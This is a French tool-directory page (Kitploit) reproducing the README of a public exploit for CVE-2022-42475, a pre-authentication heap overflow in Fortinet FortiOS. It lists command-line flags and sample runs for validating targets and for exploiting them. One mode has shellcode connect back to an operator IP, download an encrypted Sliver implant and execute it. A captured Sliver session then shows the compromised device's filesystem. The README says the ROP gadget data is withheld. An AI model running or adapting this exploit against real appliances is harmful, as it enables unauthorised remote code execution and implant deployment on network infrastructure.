Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2022-42475 — Un exploit pour CVE-2022-42475, un débordement de tas pré-authentification dans les produits réseau Fortinet | Kitploit
Outils/GitHubGitHub/0xhaggis/cve-2022-42475
Analyse des VulnérabilitésExploitationRed TeamingOutil d'Accès à DistanceDéveloppement de Charges UtilesExploitation de Binaires
GitHub0xhaggis/cve-2022-42475

CVE-2022-42475

Un exploit pour CVE-2022-42475, un débordement de tas pré-authentification dans les produits réseau Fortinet

Voir le dépôt
3313il y a 3 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2022-42475

Contexte

Ceci est l'exploit pour l'article de blog ici : https://bishopfox.com/blog/exploit-cve-2022-42475

Version expurgée

Cette version de l'exploit ne fonctionnera pas sans que vous, le hacker, fournissiez les adresses mémoire nécessaires pour les gadgets ROP, etc. Le travail nécessaire pour déterminer ces données est confidentiel et propriétaire de Bishop Fox et je ne publierai pas (ne peux pas) le publier en même temps que cet exploit. Je suis sûr que vous comprenez !

Modes de fonctionnement

  • Validation uniquement, pas d'exploit. Détermine si vulnérable. Pas de payload, pas de shellcode.
  • Exploit, mais vérification uniquement. Exécute un shellcode de « ping » de connexion retour bénin pour vérifier que la cible est exploitable.
  • Exploit avec stager binaire de connexion retour. Le shellcode se connecte en retour à l'exploit, télécharge un fichier binaire fourni par l'opérateur et chiffré (typiquement https://gitub.com/BishopFox/Sliver), déchiffre le binaire, puis appelle execve(fichier_binaire).

Remarque : Actuellement, le mode « validation uniquement » fonctionne sur toutes les versions connues de FortiOS. Cependant, les exploits fonctionnent contre FortiOS 6.0.4 sur du matériel 100D. Je ne travaille plus chez BF et je ne peux donc pas publier l'exploit étendu qui supporte environ 18k cibles.

uniquement

Prérequis

  • PyCrypto
  • pycryptodome
root@kitploit:~
pip3 install PyCrypto
pip3 install pycryptodome

Validation uniquement

Cela ne tentera pas d'exploiter le bug, mais le déclenchera plutôt comme un crash (le daemon SSL VPN distant redémarre automatiquement et immédiatement). Le crash est détecté heuristiquement et signalé à l'opérateur.

Exécutez-le en utilisant le flag -v de validation :

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -v

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Running in validate-only mode. No RCE.
[>] Testing to see if target is vulnerable (may take 10 seconds)
[+] Target '192.168.0.10:8443' appears to be VULNERABLE

Exploit, mais validation (fonctionnalité disponible uniquement pour FortiOS 6.0.4 sur les appareils 100D pour l'instant)

Cela déclenchera le bug, déploiera une chaîne ROP et sautera dans le shellcode. Le shellcode est bénin et fonctionne comme suit :

  • L'exploit se connecte à la cible et déclenche la vuln pour exécuter le shellcode
  • Le shellcode se connecte en retour à l'IP:port de l'opérateur
  • Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
  • L'exploit délivre un petit payload de test chiffré au shellcode (la clé AES est aléatoire à chaque exécution)
  • Le shellcode déchiffre le payload et le sauvegarde dans /tmp/x sur l'appareil FortiGate
  • Le shellcode envoie un autre octet 0xbf à l'exploit si le déchiffrement du payload a réussi
  • L'exploit lit l'octet et confirme l'exécution de code.

Flags :

root@kitploit:~
-t           hôte/IP cible
-p           port cible
-e           mode exploit
-c           mode connexion retour uniquement
-H et -P     IP:port de l'opérateur (obligatoire)
-s           version logicielle de FortiOS (obligatoire)
-m           modèle matériel exécutant FortiOS
-d           activer le débogage

Un exemple où nous sélectionnons à la fois la version logicielle 6.0.4 et le modèle d'appareil 100D :

root@kitploit:~
┌──(kali㉿kali)-[/mnt/hgfs/fortios/CVE-2022-42475]
└─$ sudo ./x.py -t 192.168.0.10 -p 8443 -e -c -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D                   130 ⨯

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Generating random 128-bit AES key to encrypt payload
[+] Encrypting payload...
[+] Using cached shellcode. Edit ./x.py (look for 'shellcode.s') to force refresh.
[+] Configured for connect-back to 192.168.0.99:443
[+] Starting encrypted payload listener...
[+] Preparing for exploit...
[+] Sending request!
[+] Importing gadgets from 'exploit_data.json'
[<] Listener bound to port 443, waiting for connect-back...
[+] Validating gadgets...
[!] No functional hardware models were defined for FortiOS '5.2.14'. Removed.
[!] No functional hardware models were defined for FortiOS '5.6.9'. Removed.
[+] Imported 797 targets:
[-]   6.0.4     [  1 targets ]   <=== 100D
[-]   5.2.14    [ 47 targets ]
[-]   5.6.9     [ 60 targets ]
[-]   6.0.13    [ 68 targets ]
[-]   6.0.14    [ 67 targets ]
[-]   6.0.15    [ 58 targets ]
[-]   6.0.8     [ 67 targets ]
[-]   6.2.11    [ 69 targets ]
[-]   6.2.7     [ 75 targets ]
[-]   6.4.10    [ 71 targets ]
[-]   6.4.2     [ 62 targets ]
[-]   6.4.3     [ 61 targets ]
[-]   6.4.6     [ 73 targets ]
[-]   6.4.9     [ 72 targets ]
[-]   7.0.4     [ 53 targets ]
[+] Starting exploit
[<] Incoming request from 192.168.0.10:22470
[<] Received hello packet from target!! Model #: 100D
[<] Sending encrypted payload of 36 bytes
[<] Finished sending payload (36 bytes), waiting for response...
[<] Received the expected response ('100D') from 192.168.0.10
[<] Target is VULNERABLE with 100% confidence.
[+] All done!

Si vous omettez le -m pour choisir un modèle matériel, l'exploit forcera par force brute toutes les cibles matérielles pour la version logicielle spécifiée.

Guerre thermonucléaire globale

  • L'opérateur spécifie l'emplacement d'un binaire d'implant Sliver (basé sur Linux)
  • L'exploit se connecte à la cible et déclenche la vuln pour exécuter le shellcode
  • Le shellcode se connecte en retour à l'IP:port de l'opérateur
  • Le shellcode envoie un seul octet « hello » à l'exploit : 0xbf
  • L'exploit chiffre le binaire Sliver et l'envoie au shellcode
  • Le shellcode déchiffre le binaire et le sauvegarde dans /tmp/x
  • Le shellcode envoie un octet 0xbf de succès à l'exploit
  • L'exploit lit l'octet et confirme l'exécution de code
  • Le shellcode appelle execve("/tmp/x")
  • ???
  • Profit !

Flags :

root@kitploit:~
-t           hôte/IP cible
-p           port cible
-e           mode exploit
-f filename  /chemin/vers/binaire/à/execve/sur/la/cible
-H et -P     IP:port de l'opérateur pour la connexion retour (obligatoire)
-s           version logicielle de FortiOS (obligatoire)
-m           modèle matériel exécutant FortiOS
-d           activer le débogage

Sliver :

root@kitploit:~
carl@pluto:~$ ./sliver-server_linux

.------..------..------..------..------..------.
|S.--. ||L.--. ||I.--. ||V.--. ||E.--. ||R.--. |
| :/\: || :/\: || (\/) || :(): || (\/) || :(): |
| :\/: || (__) || :\/: || ()() || :\/: || ()() |
| '--'S|| '--'L|| '--'I|| '--'V|| '--'E|| '--'R|
`------'`------'`------'`------'`------'`------'

All hackers gain living weapon
[*] Server v1.5.34 - d2a6fa8cd6cc029818dd8d9e4a039bdea8071ca2
[*] Welcome to the sliver shell, please type 'help' for options

[server] sliver > mtls -l 8888

[*] Starting mTLS listener ...

[*] Successfully started job #1

Exploit :

root@kitploit:~
$ ./x.py -t 192.168.0.10 -p 8443 -e -f implant5 -H 192.168.0.99 -P 443 -s 6.0.4 -m 100D

    --[ CVE-2022-42475: FortiGate Remote Pre-auth RCE ]--
    --[ Bishop Fox Cosmos Team X                      ]--

[+] Exploit will attempt to execve("implant5") on the target
...
[<] Target is VULNERABLE with 100% confidence.
[+] All done.

Et de retour dans Sliver :

root@kitploit:~
[*] Session d8d5344b implant5 - 192.168.0.10:3500 (Burnet) - linux/amd64 - Mon, 06 Mar 2023 22:18:30 MST

[server] sliver > use d8d5344b-c666-4c60-9e33-5ce50eb82cad

[*] Active session implant5 (d8d5344b-c666-4c60-9e33-5ce50eb82cad)

[server] sliver (implant5) > whoami

Logon ID: <err>

[server] sliver (implant5) > ls

/ (19 items, 10.0 KiB)
======================
-rw-r--r--   .ash_history        590 B  Tue Jan 31 11:31:57 +0000 2023
drwxr-xr-x   bin                 <dir>  Tue Jan 31 11:04:35 +0000 2023
drwxr-xr-x   data                <dir>  Tue Jan 31 05:24:10 +0000 2023
drwxr-xr-x   data2               <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   dev                 <dir>  Tue Jan 31 05:26:16 +0000 2023
Lrwxrwxrwx   etc -> data/etc     8 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   fortidev -> /       1 B    Mon Jan 07 18:03:23 +0000 2019
Lrwxrwxrwx   init -> /sbin/init  10 B   Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   lib                 <dir>  Mon Jan 07 18:03:30 +0000 2019
Lrwxrwxrwx   lib64 -> lib        3 B    Mon Jan 07 18:03:23 +0000 2019
drwxr-xr-x   migadmin            <dir>  Tue Jan 31 05:23:26 +0000 2023
dr-xr-xr-x   proc                <dir>  Tue Jan 31 05:23:13 +0000 2023
drwx------   root                <dir>  Mon Jan 07 17:17:34 +0000 2019
drwxr-xr-x   sbin                <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   security-rating     <dir>  Mon Jan 07 18:01:04 +0000 2019
drwxr-xr-x   sys                 <dir>  Tue Jan 31 05:23:27 +0000 2023
dtrwxrwxrwx  tmp                 <dir>  Tue Jan 31 11:40:01 +0000 2023
drwxr-xr-x   usr                 <dir>  Tue Jan 31 05:23:27 +0000 2023
drwxr-xr-x   var                 <dir>  Tue Jan 31 05:24:07 +0000 2023

Notez que Sliver renvoie <err> parce que FortiOS est un peu comme Linux, mais pas tout à fait, et ne fonctionne pas toujours comme on pourrait s'y attendre. C'est un problème avec FortiOS, pas avec Sliver.

Plus de versions à venir

Je ne travaille plus chez Bishop Fox, vous devrez donc suivre le github de BF pour les mises à jour à ce sujet.

Télécharger l’outil